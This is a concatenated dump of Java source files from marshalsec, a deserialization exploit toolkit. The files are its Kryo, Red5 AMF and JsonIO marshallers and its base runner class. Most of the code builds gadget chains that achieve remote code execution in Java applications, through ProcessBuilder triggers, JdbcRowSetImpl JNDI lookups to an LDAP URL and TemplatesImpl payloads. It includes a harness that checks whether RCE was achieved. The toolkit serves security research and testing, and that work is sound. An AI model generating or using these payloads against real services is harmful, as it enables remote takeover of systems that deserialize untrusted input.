Exception { 116 | Object tpl = TemplatesUtil.createTemplatesImpl(args); 117 | String marshalled = marshal(makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl)); 118 | // add the transient _tfactory field 119 | marshalled = marshalled.replace( 120 | "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",", 121 | "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\"" 122 | + ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},"); 123 | return marshalled; 124 | } 125 | 126 | 127 | public static void main ( String[] args ) { 128 | new JsonIO().run(args); 129 | } 130 | 131 | } 132 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Kryo.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayOutputStream; 27 | 28 | import com.esotericsoftware.kryo.io.Input; 29 | import com.esotericsoftware.kryo.io.Output; 30 | 31 | import marshalsec.gadgets.CommonsBeanutils; 32 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 33 | 34 | 35 | /** 36 | * 37 | * Not applicable: 38 | * - Most, as public default constructor is required, see {@link KryoAltStrategy}. 39 | * 40 | * @author mbechler 41 | * 42 | */ 43 | public class Kryo extends MarshallerBase implements SpringAbstractBeanFactoryPointcutAdvisor, CommonsBeanutils { 44 | 45 | /** 46 | * {@inheritDoc} 47 | * 48 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 49 | */ 50 | @Override 51 | public byte[] marshal ( Object o ) throws Exception { 52 | com.esotericsoftware.kryo.Kryo k = makeKryo(); 53 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 54 | try ( Output output = new Output(bos) ) { 55 | k.writeClassAndObject(output, o); 56 | } 57 | return bos.toByteArray(); 58 | } 59 | 60 | 61 | /** 62 | * {@inheritDoc} 63 | * 64 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 65 | */ 66 | @Override 67 | public Object unmarshal ( byte[] data ) throws Exception { 68 | com.esotericsoftware.kryo.Kryo k = makeKryo(); 69 | try ( Input in = new Input(data) ) { 70 | return k.readClassAndObject(in); 71 | } 72 | } 73 | 74 | 75 | protected com.esotericsoftware.kryo.Kryo makeKryo () { 76 | return new com.esotericsoftware.kryo.Kryo(); 77 | } 78 | 79 | 80 | public static void main ( String[] args ) { 81 | new Kryo().run(args); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/KryoAltStrategy.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import org.objenesis.strategy.StdInstantiatorStrategy; 27 | 28 | import marshalsec.gadgets.Args; 29 | import marshalsec.gadgets.BindingEnumeration; 30 | import marshalsec.gadgets.Groovy; 31 | import marshalsec.gadgets.ImageIO; 32 | import marshalsec.gadgets.LazySearchEnumeration; 33 | import marshalsec.gadgets.Resin; 34 | import marshalsec.gadgets.Rome; 35 | import marshalsec.gadgets.ServiceLoader; 36 | import marshalsec.gadgets.SpringPartiallyComparableAdvisorHolder; 37 | import marshalsec.gadgets.SpringUtil; 38 | import marshalsec.gadgets.XBean; 39 | 40 | 41 | /** 42 | * 43 | * Not applicable: 44 | * - ImageIO: cannot restore method 45 | * 46 | * @author mbechler 47 | * 48 | */ 49 | public class KryoAltStrategy extends Kryo implements Rome, SpringPartiallyComparableAdvisorHolder, Groovy, Resin, LazySearchEnumeration, 50 | BindingEnumeration, ServiceLoader, ImageIO, XBean { 51 | 52 | /** 53 | * {@inheritDoc} 54 | * 55 | * @see marshalsec.Kryo#makeKryo() 56 | */ 57 | @Override 58 | protected com.esotericsoftware.kryo.Kryo makeKryo () { 59 | com.esotericsoftware.kryo.Kryo k = super.makeKryo(); 60 | k.setInstantiatorStrategy(new com.esotericsoftware.kryo.Kryo.DefaultInstantiatorStrategy(new StdInstantiatorStrategy())); 61 | return k; 62 | } 63 | 64 | 65 | /** 66 | * Example with default bean factory method trigger instead, alt strategy required for ProcessBuilder 67 | */ 68 | @Args ( minArgs = 1, args = { 69 | "cmd", "args..." 70 | }, defaultArgs = { 71 | MarshallerBase.defaultExecutable 72 | } ) 73 | @Override 74 | public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { 75 | return SpringUtil 76 | .makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(args), "start")); 77 | } 78 | 79 | 80 | public static void main ( String[] args ) { 81 | new KryoAltStrategy().run(args); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/MarshallerBase.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.IOException; 27 | import java.lang.reflect.Method; 28 | import java.util.Arrays; 29 | import java.util.LinkedList; 30 | import java.util.List; 31 | 32 | import marshalsec.gadgets.Args; 33 | import marshalsec.gadgets.GadgetType; 34 | import marshalsec.gadgets.Primary; 35 | import marshalsec.gadgets.ToStringUtil; 36 | 37 | 38 | /** 39 | * @author mbechler 40 | * 41 | */ 42 | public abstract class MarshallerBase implements UtilFactory { 43 | 44 | public static final String defaultCodebase = "{exploit.codebase:http://localhost:8080/}"; 45 | public static final String defaultCodebaseClass = "{exploit.codebaseClass:Exploit}"; 46 | public static final String defaultJNDIUrl = "{exploit.jndiUrl:ldap://localhost:1389/obj}"; 47 | public static final String defaultExecutable = "{exploit.exec:/usr/bin/gedit}"; 48 | 49 | 50 | public abstract T marshal ( Object o ) throws Exception; 51 | 52 | 53 | public abstract Object unmarshal ( T data ) throws Exception; 54 | 55 | 56 | @Override 57 | public Object makeToStringTriggerUnstable ( Object obj ) throws Exception { 58 | return ToStringUtil.makeSpringAOPToStringTrigger(obj); 59 | } 60 | 61 | 62 | /** 63 | * @param args 64 | */ 65 | protected void run ( String[] args ) { 66 | try { 67 | boolean test = false; 68 | boolean all = false; 69 | boolean verbose = false; 70 | EscapeType escape = EscapeType.NONE; 71 | int argoff = 0; 72 | GadgetType type = null; 73 | 74 | while ( argoff < args.length && args[ argoff ].charAt(0) == '-' ) { 75 | 76 | if ( args[ argoff ].equals("-t") ) { 77 | test = true; 78 | argoff++; 79 | } 80 | else if ( args[ argoff ].equals("-a") ) { 81 | all = true; 82 | argoff++; 83 | } 84 | else if ( args[ argoff ].equals("-e") ) { 85 | argoff++; 86 | escape = EscapeType.valueOf(args[ argoff ]); 87 | argoff++; 88 | } 89 | else if ( args[ argoff ].equals("-v") ) { 90 | verbose = true; 91 | argoff++; 92 | } 93 | else { 94 | argoff++; 95 | } 96 | } 97 | 98 | try { 99 | if ( !all && args.length > argoff ) { 100 | type = GadgetType.valueOf(args[ argoff ].trim()); 101 | argoff++; 102 | } 103 | } 104 | catch ( IllegalArgumentException e ) { 105 | System.err.println("Unsupported gadget type " + args[ argoff ]); 106 | System.exit(-1); 107 | } 108 | 109 | if ( !all && type == null ) { 110 | System.err.println("No gadget type specified, available are " + Arrays.toString(getSupportedTypes())); 111 | System.exit(-1); 112 | } 113 | 114 | if ( all ) { 115 | runAll(test, verbose, false, escape); 116 | } 117 | else { 118 | String[] gadgetArgs = new String[args.length - argoff]; 119 | System.arraycopy(args, argoff, gadgetArgs, 0, args.length - argoff); 120 | 121 | doRun(type, test, verbose, false, escape, gadgetArgs); 122 | } 123 | } 124 | catch ( Exception e ) { 125 | e.printStackTrace(System.err); 126 | } 127 | } 128 | 129 | 130 | public void runTests () throws Exception { 131 | runAll(true, false, true, EscapeType.NONE); 132 | } 133 | 134 | 135 | private void runAll ( boolean test, boolean verbose, boolean throwEx, EscapeType escape ) throws Exception { 136 | 137 | for ( GadgetType t : this.getSupportedTypes() ) { 138 | Method tm = getTargetMethod(t); 139 | Args a = tm.getAnnotation(Args.class); 140 | if ( a == null ) { 141 | throw new Exception("Missing Args in " + t); 142 | } 143 | if ( a.noTest() ) { 144 | continue; 145 | } 146 | String[] defaultArgs = a.defaultArgs(); 147 | doRun(t, test, verbose, throwEx, escape, defaultArgs); 148 | } 149 | } 150 | 151 | 152 | /** 153 | * @param type 154 | * @param test 155 | * @param escape 156 | * @param gadgetArgs 157 | * @throws Exception 158 | * @throws IOException 159 | */ 160 | private void doRun ( GadgetType type, boolean test, boolean verbose, boolean throwEx, EscapeType escape, String[] gadgetArgs ) 161 | throws Exception, IOException { 162 | T marshal; 163 | try { 164 | System.setSecurityManager(new SideEffectSecurityManager()); 165 | Object o = createObject(type, expandArguments(gadgetArgs)); 166 | if ( o instanceof byte[] || o instanceof String ) { 167 | // already marshalled by delegate 168 | @SuppressWarnings ( "unchecked" ) 169 | T alreadyMarshalled = (T) o; 170 | marshal = alreadyMarshalled; 171 | } 172 | else { 173 | marshal = marshal(o); 174 | } 175 | } 176 | finally { 177 | System.setSecurityManager(null); 178 | } 179 | 180 | if ( !test || verbose ) { 181 | System.err.println(); 182 | writeOutput(marshal, escape); 183 | } 184 | 185 | if ( test ) { 186 | System.err.println(); 187 | System.err.println("Running gadget " + type + ":"); 188 | test(marshal, throwEx); 189 | } 190 | } 191 | 192 | 193 | /** 194 | * @param gadgetArgs 195 | * @return 196 | */ 197 | private static String[] expandArguments ( String[] gadgetArgs ) { 198 | String[] expanded = new String[gadgetArgs.length]; 199 | 200 | for ( int i = 0; i < gadgetArgs.length; i++ ) { 201 | expanded[ i ] = expandArgument(gadgetArgs[ i ]); 202 | } 203 | 204 | return expanded; 205 | } 206 | 207 | 208 | /** 209 | * @param string 210 | * @return 211 | */ 212 | private static String expandArgument ( String string ) { 213 | if ( string.charAt(0) == '{' && string.charAt(string.length() - 1) == '}' ) { 214 | int defSep = string.indexOf(':', 1); 215 | String key; 216 | String defVal = null; 217 | if ( defSep >= 0 ) { 218 | key = string.substring(1, defSep); 219 | defVal = string.substring(defSep + 1, string.length() - 1); 220 | } 221 | else { 222 | key = string.substring(1, string.length() - 1); 223 | } 224 | return System.getProperty(key, defVal); 225 | } 226 | return string; 227 | } 228 | 229 | 230 | /** 231 | * @param marshal 232 | */ 233 | protected void test ( T marshal, boolean throwEx ) throws Exception { 234 | Throwable ex = null; 235 | TestingSecurityManager s = new TestingSecurityManager(); 236 | try { 237 | System.setSecurityManager(s); 238 | unmarshal(marshal); 239 | } 240 | catch ( Exception e ) { 241 | ex = extractInnermost(e); 242 | } 243 | finally { 244 | System.setSecurityManager(null); 245 | } 246 | 247 | try { 248 | s.assertRCE(); 249 | } 250 | catch ( Exception e ) { 251 | System.err.println("Failed to achieve RCE:" + e.getMessage()); 252 | if ( ex != null ) { 253 | ex.printStackTrace(System.err); 254 | } 255 | if ( throwEx ) { 256 | if ( ex instanceof Exception ) { 257 | throw (Exception) ex; 258 | } 259 | throw e; 260 | } 261 | } 262 | } 263 | 264 | 265 | /** 266 | * @param e 267 | * @return 268 | */ 269 | private static Throwable extractInnermost ( Throwable e ) { 270 | if ( e.getCause() != null && e.getCause() != e ) { 271 | return extractInnermost(e.getCause()); 272 | } 273 | return e; 274 | } 275 | 276 | 277 | /** 278 | * @param marshal 279 | * @throws IOException 280 | */ 281 | private void writeOutput ( T data, EscapeType escape ) throws IOException { 282 | if ( data instanceof byte[] ) { 283 | System.out.write((byte[]) data); 284 | } 285 | else if ( data instanceof String ) { 286 | 287 | switch ( escape ) { 288 | 289 | case JAVA: 290 | System.out.println(escapeJavaString((String) data)); 291 | break; 292 | default: 293 | System.out.println((String) data); 294 | } 295 | } 296 | else { 297 | throw new UnsupportedOperationException(); 298 | } 299 | } 300 | 301 | 302 | /** 303 | * @param data 304 | * @return 305 | */ 306 | private static String escapeJavaString ( String data ) { 307 | return data.replaceAll("([\"\\\\])", "\\\\$1"); 308 | } 309 | 310 | 311 | /** 312 | * @param args 313 | * @return 314 | * @throws Exception 315 | */ 316 | protected Object createObject ( GadgetType t, String[] args ) throws Exception { 317 | Method m = getTargetMethod(t); 318 | 319 | if ( !t.getClazz().isAssignableFrom(this.getClass()) ) { 320 | throw new Exception("Gadget not supported for this marshaller"); 321 | } 322 | 323 | Args a = m.getAnnotation(Args.class); 324 | 325 | if ( a != null ) { 326 | if ( args.length < a.minArgs() ) { 327 | throw new Exception( 328 | String.format("Gadget %s requires %d arguments: %s", t, a.minArgs(), a.args() != null ? Arrays.toString(a.args()) : "")); 329 | } 330 | } 331 | return m.invoke(this, new Object[] { 332 | this, args 333 | }); 334 | } 335 | 336 | 337 | public GadgetType[] getSupportedTypes () { 338 | List types = new LinkedList<>(); 339 | for ( GadgetType t : GadgetType.values() ) { 340 | if ( t.getClazz().isAssignableFrom(this.getClass()) ) { 341 | types.add(t); 342 | } 343 | } 344 | return types.toArray(new GadgetType[types.size()]); 345 | } 346 | 347 | 348 | /** 349 | * @param t 350 | * @return 351 | * @throws Exception 352 | */ 353 | public Method getTargetMethod ( GadgetType t ) throws Exception { 354 | Method[] methods = t.getClazz().getMethods(); 355 | Method m = null; 356 | if ( methods.length != 1 ) { 357 | for ( Method cand : methods ) { 358 | if ( cand.getAnnotation(Primary.class) != null ) { 359 | m = cand; 360 | break; 361 | } 362 | } 363 | 364 | if ( m == null ) { 365 | throw new Exception("Gadget interface contains no or multiple methods"); 366 | } 367 | } 368 | else { 369 | m = methods[ 0 ]; 370 | } 371 | 372 | return this.getClass().getMethod(m.getName(), m.getParameterTypes()); 373 | } 374 | } 375 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Red5AMF0.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import org.apache.mina.core.buffer.IoBuffer; 27 | import org.red5.io.amf.Input; 28 | 29 | import flex.messaging.io.SerializationContext; 30 | import flex.messaging.io.amf.AbstractAmfOutput; 31 | import flex.messaging.io.amf.Amf0Output; 32 | 33 | 34 | /** 35 | * @author mbechler 36 | * 37 | */ 38 | public class Red5AMF0 extends Red5AMFBase { 39 | 40 | /** 41 | * {@inheritDoc} 42 | * 43 | * @see marshalsec.Red5AMFBase#createInput(org.apache.mina.core.buffer.IoBuffer) 44 | */ 45 | @Override 46 | protected Input createInput ( IoBuffer buf ) { 47 | return new org.red5.io.amf.Input(buf); 48 | } 49 | 50 | 51 | /** 52 | * {@inheritDoc} 53 | * 54 | * @see marshalsec.BlazeDSBase#createOutput(flex.messaging.io.SerializationContext) 55 | */ 56 | @Override 57 | protected AbstractAmfOutput createOutput ( SerializationContext sc ) { 58 | return new Amf0Output(sc); 59 | } 60 | 61 | 62 | public static void main ( String[] args ) { 63 | new Red5AMF0().run(args); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Red5AMF3.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import org.apache.mina.core.buffer.IoBuffer; 27 | import org.red5.io.amf.Input; 28 | 29 | import flex.messaging.io.SerializationContext; 30 | import flex.messaging.io.amf.AbstractAmfOutput; 31 | import flex.messaging.io.amf.Amf3Output; 32 | 33 | 34 | /** 35 | * @author mbechler 36 | * 37 | */ 38 | public class Red5AMF3 extends Red5AMFBase { 39 | 40 | /** 41 | * {@inheritDoc} 42 | * 43 | * @see marshalsec.Red5AMFBase#createInput(org.apache.mina.core.buffer.IoBuffer) 44 | */ 45 | @Override 46 | protected Input createInput ( IoBuffer buf ) { 47 | return new org.red5.io.amf3.Input(buf); 48 | } 49 | 50 | 51 | /** 52 | * {@inheritDoc} 53 | * 54 | * @see marshalsec.BlazeDSBase#createOutput(flex.messaging.io.SerializationContext) 55 | */ 56 | @Override 57 | protected AbstractAmfOutput createOutput ( SerializationContext sc ) { 58 | return new Amf3Output(sc); 59 | } 60 | 61 | 62 | public static void main ( String[] args ) { 63 | new Red5AMF3().run(args); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Red5AMFBase.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.util.Collections; 27 | import java.util.LinkedHashMap; 28 | import java.util.Map; 29 | 30 | import org.apache.mina.core.buffer.IoBuffer; 31 | import org.red5.io.amf.Input; 32 | import org.red5.io.object.Deserializer; 33 | import org.springframework.beans.factory.config.PropertyPathFactoryBean; 34 | import org.springframework.jndi.support.SimpleJndiBeanFactory; 35 | 36 | import com.sun.rowset.JdbcRowSetImpl; 37 | 38 | import flex.messaging.io.SerializationContext; 39 | import flex.messaging.io.amf.AbstractAmfInput; 40 | import marshalsec.gadgets.Args; 41 | import marshalsec.gadgets.JdbcRowSet; 42 | import marshalsec.gadgets.Primary; 43 | import marshalsec.util.Reflections; 44 | 45 | 46 | /** 47 | * 48 | * 49 | * Uses BlazeDS for output 50 | * 51 | * @author mbechler 52 | * 53 | */ 54 | public abstract class Red5AMFBase extends BlazeDSBase implements JdbcRowSet { 55 | 56 | /** 57 | * {@inheritDoc} 58 | * 59 | * @see marshalsec.BlazeDSBase#unmarshal(byte[]) 60 | */ 61 | @Override 62 | public Object unmarshal ( byte[] data ) throws Exception { 63 | IoBuffer buf = IoBuffer.wrap(data); 64 | Input i = createInput(buf); 65 | return Deserializer.deserialize(i, Object.class); 66 | } 67 | 68 | 69 | /** 70 | * @param buf 71 | * @return 72 | */ 73 | protected abstract Input createInput ( IoBuffer buf ); 74 | 75 | 76 | @Override 77 | @Args ( minArgs = 1, args = { 78 | "jndiUrl" 79 | }, defaultArgs = { 80 | MarshallerBase.defaultJNDIUrl 81 | } ) 82 | public Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception { 83 | String jndiUrl = args[ 0 ]; 84 | PropertyInjectingProxy bfproxy = new PropertyInjectingProxy( 85 | new SimpleJndiBeanFactory(), 86 | Collections.singletonMap("shareableResources", new String[] { 87 | jndiUrl 88 | })); 89 | 90 | // RED5 uses a regular HashMap to temporarily store the property values 91 | // 92 | // To make sure the property setters are called in the right order we 93 | // have to make sure that they end up in bins matching that order 94 | Map values = new LinkedHashMap<>(); 95 | int size = 16; 96 | for ( ; size < Short.MAX_VALUE; size = size << 1 ) { 97 | long p = mapHash("propertyPath".hashCode() & 0xFFFFFFFFL) % size; 98 | long t = mapHash("targetBeanName".hashCode() & 0xFFFFFFFFL) % size; 99 | long b = mapHash("beanFactory".hashCode() & 0xFFFFFFFFL) % size; 100 | if ( p <= b && t <= b ) { 101 | System.err.println(String.format("propertyPath @ %d targetBeanName @ %d beanFactory @ %d with table size %d", p, t, b, size)); 102 | break; 103 | } 104 | } 105 | 106 | values.put("propertyPath", "a"); 107 | values.put("targetBeanName", jndiUrl); 108 | values.put("beanFactory", bfproxy); 109 | 110 | // this blows up the table to the desired size 111 | // keys must be distributed more or less evenly or the hash table won't expand to the desired size 112 | for ( int j = 0; j < size / 2; j++ ) { 113 | values.put("" + j, ""); 114 | } 115 | 116 | return new PropertyInjectingProxy(new PropertyPathFactoryBean(), values); 117 | } 118 | 119 | 120 | @Override 121 | @Primary 122 | @Args ( minArgs = 1, args = { 123 | "jndiUrl" 124 | }, defaultArgs = { 125 | MarshallerBase.defaultJNDIUrl 126 | } ) 127 | public Object makeJdbcRowSet ( UtilFactory uf, String[] args ) throws Exception { 128 | Map values = new LinkedHashMap<>(); 129 | int size = 16; 130 | 131 | // see makePropertyPathFactory for the gritty details 132 | for ( ; size < Short.MAX_VALUE; size = size << 1 ) { 133 | long d = mapHash("dataSourceName".hashCode() & 0xFFFFFFFFL) % size; 134 | long a = mapHash("autoCommit".hashCode() & 0xFFFFFFFFL) % size; 135 | if ( d <= a ) { 136 | System.err.println(String.format("dataSourceName @ %d autoCommit @ %d with table size %d", d, a, size)); 137 | break; 138 | } 139 | } 140 | values.put("dataSourceName", args[ 0 ]); 141 | values.put("autoCommit", true); 142 | for ( int j = 0; j < size / 2; j++ ) { 143 | values.put("" + j, ""); 144 | } 145 | return new PropertyInjectingProxy(Reflections.createWithoutConstructor(JdbcRowSetImpl.class), values); 146 | } 147 | 148 | 149 | /** 150 | * @param l 151 | * @return 152 | */ 153 | private static long mapHash ( long l ) { 154 | return ( l ^ ( l >>> 16 ) ); 155 | } 156 | 157 | 158 | /** 159 | * {@inheritDoc} 160 | * 161 | * @see marshalsec.BlazeDSBase#createInput(flex.messaging.io.SerializationContext) 162 | */ 163 | @Override 164 | protected AbstractAmfInput createInput ( SerializationContext sc ) { 165 | return null; 166 | } 167 | 168 | } 169 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/SideEffectSecurityManager.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.FilePermission; 27 | import java.io.SerializablePermission; 28 | import java.lang.reflect.ReflectPermission; 29 | import java.net.NetPermission; 30 | import java.security.Permission; 31 | import java.security.SecurityPermission; 32 | import java.util.PropertyPermission; 33 | import java.util.logging.LoggingPermission; 34 | 35 | 36 | /** 37 | * @author mbechler 38 | * 39 | */ 40 | public class SideEffectSecurityManager extends SecurityManager { 41 | 42 | /** 43 | * {@inheritDoc} 44 | * 45 | * @see java.lang.SecurityManager#checkPermission(java.security.Permission) 46 | */ 47 | @Override 48 | public void checkPermission ( Permission perm ) { 49 | if ( perm instanceof RuntimePermission ) { 50 | if ( checkRuntimePermission((RuntimePermission) perm) ) { 51 | return; 52 | } 53 | } 54 | else if ( perm instanceof ReflectPermission ) { 55 | return; 56 | } 57 | else if ( perm instanceof LoggingPermission ) { 58 | return; 59 | } 60 | else if ( perm instanceof SecurityPermission ) { 61 | return; 62 | } 63 | else if ( perm instanceof PropertyPermission ) { 64 | return; 65 | } 66 | else if ( perm instanceof NetPermission && perm.getName().equals("specifyStreamHandler") ) { 67 | return; 68 | } 69 | else if ( perm instanceof FilePermission && perm.getActions().equals("read") ) { 70 | return; 